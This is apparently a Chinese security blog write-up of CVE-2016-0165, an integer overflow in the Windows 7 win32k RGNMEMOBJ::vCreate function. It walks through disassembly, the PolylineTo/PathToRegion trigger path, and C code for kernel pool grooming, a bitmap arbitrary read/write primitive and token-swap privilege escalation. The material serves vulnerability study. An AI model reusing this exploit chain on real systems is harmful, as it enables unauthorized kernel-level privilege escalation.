这篇文章上次修改于 262 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。

配置漏洞触发环境

[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001

image-20200806113835511.png

漏洞原理

定位漏洞

image-20200806151106545.png

通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当调用ExAllocatePoolWithTag函数分配内存之前,增加了对ULongAdd函数和ULongLongToULong函数的调用。这两个函数在运算时如果发现运算数值超过了ULONG整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。

接着我们追踪一下这个参数NumberOfBytes到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。

.text:BF876200 ; ---------------------------------------------------------------------------
.text:BF876200
.text:BF876200 loc_BF876200:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j
.text:BF876200                 lea     eax, [ebp+NumberOfBytes]
.text:BF876203                 push    eax             ; unsigned int *
.text:BF876204                 xor     edi, edi
.text:BF876206                 inc     edi
.text:BF876207                 push    edi             ; unsigned int
.text:BF876208                 push    [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B                 call    ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210                 test    eax, eax
.text:BF876212                 jl      loc_BF8763D2
.text:BF876218                 mov     eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B                 push    28h
.text:BF87621D                 pop     ecx             ; ecx为乘数
.text:BF87621E                 mul     ecx             ; mul reg32 的答案保存在edx:eax之中
.text:BF876220                 lea     ecx, [ebp+NumberOfBytes]
.text:BF876223                 push    ecx             ; unsigned int *
.text:BF876224                 push    edx
.text:BF876225                 push    eax             ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226                 call    _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B                 test    eax, eax
.text:BF87622D                 jl      loc_BF8763D2
.text:BF876233                 cmp     [ebp+NumberOfBytes], 0
.text:BF876237                 jz      short loc_BF87624E
.text:BF876239                 push    67646547h       ; Tag
.text:BF87623E                 push    [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241                 push    21h             ; PoolType
.text:BF876243                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF876249                 mov     [ebp+P], eax
.text:BF87624C                 jmp     short loc_BF876252
.text:BF87624E ; ---------------------------------------------------------------------------

这段代码配合注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,经历了如下的运算过程:

[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28

即函数ExAllocatePoolWithTag申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域

.text:BF87615C                 mov     esi, [ebp+arg_0]
(省略无关内容)
.text:BF876189                 mov     eax, [esi+4]
.text:BF87618C                 mov     [ebp+NumberOfBytes], eax

在MSDN可以找到PATHOBJ的结构

typedef struct _PATHOBJ {
  FLONG fl;
  ULONG cCurves;
} PATHOBJ;

+4偏移地址是被定义为ULONG cCurves的成员变量

cCurves

The number of lines and Bezier curves that make up the path.

该变量表示当前PATHOBJ对象的曲线数目。也就是说(曲线数目 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是一致的:

.text:BF873FEA ; ---------------------------------------------------------------------------
.text:BF873FEA
.text:BF873FEA loc_BF873FEA:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j
.text:BF873FEA                 lea     eax, [ecx+1]    ; ULONG cCurves
.text:BF873FED                 imul    eax, 28h
.text:BF873FF0                 test    eax, eax
.text:BF873FF2                 jz      short loc_BF87400A
.text:BF873FF4                 push    6E677247h       ; Tag
.text:BF873FF9                 push    eax             ; NumberOfBytes
.text:BF873FFA                 push    21h             ; PoolType
.text:BF873FFC                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF874002                 mov     edx, [ebp+arg_8]
.text:BF874005                 mov     [ebp+P], eax
.text:BF874008                 jmp     short loc_BF87400E
.text:BF87400A ; ---------------------------------------------------------------------------

接着往后跟进,查看一下申请出来的这块内存会被如何使用

.text:BF8740D4 loc_BF8740D4:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j
.text:BF8740D4                 push    [ebp+arg_8]     ; struct _RECTL *
.text:BF8740D7                 mov     [eax+10h], esi
.text:BF8740DA                 mov     eax, [ebx]
.text:BF8740DC                 push    [ebp+P]         ; struct EDGE * ; [ebp+P]保存的就是ExAllocatePoolWithTag申请的内存
.text:BF8740DF                 mov     dword ptr [eax+30h], 48h
.text:BF8740E6                 mov     eax, [ebx]
.text:BF8740E8                 mov     [eax+18h], ecx
.text:BF8740EB                 mov     eax, [ebx]
.text:BF8740ED                 mov     [eax+14h], ecx
.text:BF8740F0                 mov     eax, [ebx]
.text:BF8740F2                 mov     [eax+34h], ecx
.text:BF8740F5                 mov     eax, [ebx]
.text:BF8740F7                 lea     ecx, [eax+48h]
.text:BF8740FA                 mov     [eax+1Ch], ecx
.text:BF8740FD                 mov     eax, [ebx]
.text:BF8740FF                 add     eax, 20h
.text:BF874102                 mov     [eax+4], eax
.text:BF874105                 mov     [eax], eax
.text:BF874107                 lea     eax, [ebp+var_68]
.text:BF87410A                 push    eax             ; struct EDGE *
.text:BF87410B                 push    [ebp+arg_0]     ; struct EPATHOBJ *
.text:BF87410E                 call    ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)

函数ExAllocatePoolWithTag申请的内存被当作函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到

class EDGE
{
public:
    PEDGE pNext;
    LONG  lScansLeft;
    LONG  X;
    LONG  Y;
    LONG  lErrorTerm;
    LONG  lErrorAdjustUp;
    LONG  lErrorAdjustDown;
    LONG  lXWhole;
    LONG  lXDirection;
    LONG  lWindingDirection;
};

这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET干了些什么。

VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound)
{
// Create an empty GET with the head node also a tail sentinel

    pGETHead->pNext = pGETHead; // mark that the GET is empty
    pGETHead->Y = 0x7FFFFFFF;   // this is greater than any valid Y value, so
                                //  searches will always terminate

    PPATH ppath = po.ppath;

    for (PATHRECORD *ppr = ppath->pprfirst;
         ppr != (PPATHREC) NULL;
         ppr = ppr->pprnext)
    {
    // If first point starts a subpath, remember it as such
    // and go on to the next point, so we can get an edge.

        PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;

        pptfx = ppr->aptfx;

        if (ppr->flags & PD_BEGINSUBPATH)
        {
            pptfxStart = ppr->aptfx;        // the subpath starts here
            pptfxPrev = ppr->aptfx;         // this points starts next edge
            pptfx++;                        // advance to the next point
        }

   // Add edges in PATH to GET, in Y-X sorted order.

        pptfxEnd = ppr->aptfx + ppr->count;

        while (pptfx < pptfxEnd)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);
            pptfxPrev = pptfx;
            pptfx++;                        // advance to the next point
        }

     // If last point ends the subpath, insert the edge that
     // connects to first point.

        if (ppr->flags & PD_ENDSUBPATH)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);
        }
    }
}

函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET,函数vConstructGET循环调用函数AddEdgeToGET来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,最后将下一个EDGE元素地址作为返回值返回。

    pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET
    pGETHead->pNext = pFreeEdge;

    return(++pFreeEdge);

由于函数ExAllocatePoolWithTag申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时候,将会造成OOB覆盖其他内容,从而导致系统BSOD的触发。

触发路径

  • NtPathToRegion函数

win32k中的很多函数都会调用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion函数:

  DCOBJ::DCOBJ((DCOBJ *)&v9, a1);
  ......
  XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);
  if ( v8 )
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ......

该函数用于根据被选择在 DC 对象中的路径 PATH 对象创建区域 REGION 对象,生成的区域将使用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标 DC 对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。

XEPATHOBJ v7被作为第二个参数传递给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ构造函数中依据用户对象DCOBJ v9进行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ构造函数中依据NtPathToRegion函数的唯一参数HDC a1进行了初始化。

DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2)
{
  DCOBJ *v2; // esi

  v2 = this;
  *(_DWORD *)this = 0;
  *((_DWORD *)this + 1) = 0;
  *((_DWORD *)this + 2) = 0;
  XDCOBJ::vLock(this, a2);
  return v2;
}

出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。

  • XEPATHOBJ::XEPATHOBJ构造函数

    XEPATHOBJ::XEPATHOBJ(HPATH hPath)
    {
    ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);
    
    if (ppath != (PATH*) NULL)
    {
    
       // Load up accelerator values:
    
       cCurves = ppath->cCurves;
       fl      = ppath->fl;
    }
    
    return;
    }

此函数首先调用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。之后对cCurves赋值,没错,就是前面那个导致了溢出的cCurves

至此,我们揪出了cCurves的来源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配。

漏洞触发

  • PolylineTo 函数

虽然刚刚大言不惭的说了要控制HDC a1句柄,但也没那么简单,我们要考虑具体如何操作。这里我们使用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线:

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  ......
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
  • NtGdiPolyPolyDraw函数

PolylineTo 函数最终调用NtGdiPolyPolyDraw系统调用:

函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。

cpt = 0;
for ( i = 0; ; ++i )
{
    v13 = cpt;
    if ( i >= ccpt )
    break;
    cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )
    goto LABEL_56;

NtGdiPolyPolyDraw函数规定了调用时的线条总数目,不能大于 0x4E2000,否则直接返回失败。

          switch ( iFunc )
          {
            case 1:
              v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);
              break;
            case 2:
              v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);
              break;
            case 3:
              v11 = GrePolyBezier(hdc, v7, ulCount);
              break;
            case 4:
              v11 = GrePolylineTo(hdc, v7, ulCount);
              break;
            case 5:
              v11 = GrePolyBezierTo(hdc, v7, ulCount);
              break;
            case 6:
              v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);
              break;
            default:
              v18 = 0;
              goto LABEL_47;

根据参数iFunc的值进入不同的绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会调用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo 函数传入的 cpt 变量。

  • GrePolylineTo 函数
    DCOBJ::DCOBJ(&v12, a1);
    ......
    EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ(&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )
      goto LABEL_12;
    v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

GrePolylineTo 函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,接下来定义了 PATHSTACKOBJ v13 用户对象。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

  • EPATHOBJ::bPolyLineTo 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
{
  EPATHOBJ *v4; // esi
  int result; // eax
  int v6; // [esp+4h] [ebp-Ch]
  unsigned int v7; // [esp+8h] [ebp-8h]
  struct _POINTL *v8; // [esp+Ch] [ebp-4h]

  v4 = this;
  if ( !*(this + 2) )
    return 0;
  v6 = 0;
  v8 = a3;
  v7 = ulCount;
  result = EPATHOBJ::addpoints(this, a2, &v6);
  if ( result )
    *(v4 + 1) += ulCount;
  return result;
}

EPATHOBJ::bPolyLineTo 执行具体的从 DC 对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的具体操作。执行成功后,将参数 ulCount 的值增加到成员变量 cCurves 中。

现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)cpt变量就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配,但离完整的poc还有点距离,接着构造poc。

poc构造

因为是32位系统,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x‭6666665‬ 。但是cCurvesRGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,具体代码如下:

VOID EPATHOBJ::vCloseAllFigures()
{
    PPATHREC ppr = ppath->pprfirst;
    while (ppr != (PPATHREC) NULL)
    {
        if (ppr->flags & PD_ENDSUBPATH)
        {
            if (!(ppr->flags & PD_CLOSEFIGURE))
            {
                ppr->flags |= PD_CLOSEFIGURE;
                cCurves++;
            }
        }
        ppr = ppr->pprnext;
    }
}

此函数遍历PPATHREC列表,并将所有未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves的值增加1。也就是说,我们只要达成v6 > 0x‭6666664‬就可以造成整数溢出了。但是NtGdiPolyPolyDraw系统调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来达到溢出。完整代码如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char* argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

虽然我们预想的很好,但是触发BSOD的几率非常低,因为覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时候,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了好多次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。

image-20200814181555112.png

漏洞利用

内核内存布局

虽然我们的poc触发成功率不高,但它确实破坏了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。但如果我们提前进行堆布局,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时候就不会对相邻内存块进行校验,这样虽然依旧进行了OOB,但并不会触发崩溃。

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

int main(int argc, char* argv[])
{
    
    for (LONG i = 0; i < 5000; i++)
    {
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
    }
    for (LONG i = 0; i < 7000; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
    }
    for (LONG i = 2000; i < 4000; i++)
    {
        DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    DebugBreak();
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path

    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

因为0x18字节不方便占位,所以我们稍微提高画线数目为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap 函数申请大量的0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。但是因为SURFACE结构本身就要占用0x154字节,所以使用 CreateAcceleratorTable 函数。通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提升更大的概率。随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。

image-20200820035007144.png

现在,RGNMEMOBJ::vCreate 函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。

溢出覆盖内存块

因为创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET 函数的访问范围。

  if ( pClipRect )
  {
    if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
      return pFreeEdge;
    if ( iYStart < pClipRect->top )
    {
      bClip = 1;
      iYStart = pClipRect->top;
    }
    if ( iYEnd > pClipRect->bottom )
      iYEnd = pClipRect->bottom;
  }
  ipFreeEdge_Y = (iYStart + 15) >> 4;
  *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
  *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
  if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
    return pFreeEdge;

函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge 指针不向后移。第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge 指针指向的地址。此处的右移 4 比特位只是在还原之前在 EPATHOBJ::createrecEPATHOBJ::growlastrec 函数中存储坐标点时左移 4 比特位的数值。因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置开始连续写入的 EDGE 个数。

image-20200820035031289.png

sizlBitmap 位于 0xfe29d028 位置,域 pvScan0 位于 0xfe29d038 位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF 这样的特殊值。这样一来就不能使位图 SURFACE 对象直接作为内存页的起始位置,需要在 EDGE 缓冲区内存块和位图 SURFACE 对象内存块之间增加“垫片”,以使 0xFFFFFFFF 这样的特殊值能被覆盖到我们特别关注的域中。

垫片

这个垫片的作用其实就是把 EDGE 缓冲区内存块前面的f90内存块分成两个内存块,内存页起始位置我们申请一块内存来占位,大小合适的话就可以使切割出来的堆块的域 sizlBitmap 被修改成 0xFFFFFFFF 。我们先释放掉所有的f90内存块,然后分配一块较大但是又不超过f90的内存块,这里使用设置剪贴板的方式来分配用作垫片的缓冲区,在不调用函数 OpenCliboard 并清空剪贴板数据的前提下调用 SetClipboardData 函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

VOID
CreateClipboard(DWORD Size)
{
    PBYTE Buffer = (PBYTE)malloc(Size);
    FillMemory(Buffer, Size, 0x41);
    Buffer[Size - 1] = 0x00;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
    CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
    GlobalUnlock(hMem);
    SetClipboardData(CF_TEXT, hMem);
}

int main(int argc, char* argv[])
{

    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = 5; // same values to ignore
    }
    for (LONG i = 0; i < 75; i++)
    {
        point[i].y = i + 1; // to rewrite such edge elements.
    }
    HDC hdc = GetDC(NULL);
    auto ret = BeginPath(hdc);
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    ret = EndPath(hdc);
    // 0xF90+0x70=0x1000
    for (LONG i = 0; i < 4000; i++)
    {
        // 0xE34+0x154+8=0xF90
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
    }
    for (LONG i = 0; i < 5500; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        // 0x0D*6+0x12+4+8~0x70
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
    }
    for (LONG i = 0; i < 4000; i++)
    {
        // free original bitmaps
        ret = DeleteObject(hbitmap[i]);
        hbitmap[i] = NULL;
    }
    // 0xB70+0x420=0xF90
    for (LONG i = 0; i < 4000; i++)
    {
        // create shim clipdatas
        // 0xB5C+0xC+8=0xB70
        CreateClipboard(0xB5C);
    }
    for (LONG i = 0; i < 4000; i++)
    {
        // create usable bitmaps
        // 0xB1*0x01*4+0x154+8=0x420
        hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
    }
    for (LONG i = 2000; i < 4000; i++)
    {
        // dig hole to place edge buffer
        ret = DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    DebugBreak();
    PathToRegion(hdc);
    return 0;
}

接着我们跟进一下看看内存到底有没有被成功覆盖

image-20200824002508976.png

成员sizlBitmap.cy 被覆盖成 0xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以利用该 sizlBitmap.cy 成员值的广阔范围,将当前位图 SURFACE 对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE 对象进行操作,将其作为扩展位图 SURFACE 对象,覆盖其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 对象,实现“指哪打哪”的目的。

定位位图句柄

pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
    if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
    {
        index = i;
        break;
    }
}
hbmpmain = hbitmap[index];

我们通过循环调用 GetBitmapBits 函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE 对象的句柄,获取 0x1000 字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 SURFACE 对象的像素点数据区域大小仍旧是原来的 0xB1*0x01*4=0x2C4 字节大小,所以返回值只可能是不超过 0x2C4 的数值;而针对被我们覆盖数据的主控位图 SURFACE 对象而言,由于 sizlBitmap 成员的值被覆盖成 0x010xFFFFFFFF 数值,所以在计算位图像素点数据“实际大小”时,计算出来的结果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0 大的数,因此得以命中。命中成功后 pBmpHunted 缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 0x1000 字节范围的内存数据。

BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    LONG ret = 0;
    pBmpHunted[iExtpScan0] = addr;
    ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (ret < 0x1000)
    {
        return FALSE;
    }
    ret = SetBitmapBits(hBmpExtend, cb, pvBits);
    if (ret < (LONG)cb)
    {
        return FALSE;
    }
    return TRUE;
}

接着定位拓展位图对象,因为在句柄表中二者不一定相邻,所以我们可以讲拓展位图的大小修改,再通过上面的办法来遍历拓展位图的句柄。接着通过主控位图 SURFACE 对象控制扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域修改为任意内核地址,便可轻松实现对内核任意地址的读写,“指哪打哪”的目的就实现了。

提权

这一部分就大同小异了,直接替换Token就好。至此,我们成功实现了提权。

image-20200824012220974.png

参考文章

https://xiaodaozhi.com/exploit/56.html

https://www.anquanke.com/post/id/93105